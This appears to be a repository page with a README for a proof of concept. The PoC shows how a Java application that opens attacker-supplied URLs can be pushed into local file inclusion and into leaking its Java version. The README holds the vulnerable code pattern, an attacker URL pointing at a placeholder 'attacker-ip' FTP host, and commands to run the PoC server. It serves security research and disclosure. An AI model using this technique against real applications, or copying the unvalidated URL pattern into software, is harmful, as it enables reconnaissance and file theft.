# java-file-ftp

**Repository Path**: delete_user/java-file-ftp

## Basic Information

- **Project Name**: java-file-ftp
- **Description**: POC for leaking java version through file and ftp protocols
- **Primary Language**: Unknown
- **License**: Not specified
- **Default Branch**: main
- **Homepage**: None
- **GVP Project**: No

## Statistics

- **Stars**: 0
- **Forks**: 0
- **Created**: 2021-01-24
- **Last Updated**: 2021-10-20

## Categories & Tags

**Categories**: Uncategorized

**Tags**: None

## README

# java-file-ftp
POC for leaking java version through file and ftp protocols

Consider a java web application using URL class to make a connection as below


```java
import java.net.*;
import java.io.*;
public class Main
{
      public static void main(String[] args) throws Exception{

            URL url = new URL(attackerinput);
            System.out.println(url.getProtocol());


            StringBuilder stringBuilder = new StringBuilder();

            DataInputStream dis = new DataInputStream(url.openConnection().getInputStream());
            String inputLine;

            while ((inputLine = dis.readLine()) != null) {
                System.out.println(inputLine);
            }
            dis.close();

        }
}

```

we can get an LFI using file protocol and also we can get the java version of the running application using file or ftp 

so our attackerinput will be ftp://attacker-ip:port/file or file://attacker-ip:port/file . 

Run the ftp server using ```sudo python3 ftp.py```
Compile java and run using ```javac FilePOC.java && java FilePOC```

Screenshot
![pocimage](https://github.com/samsbp/java-file-ftp/raw/main/pocimg.png)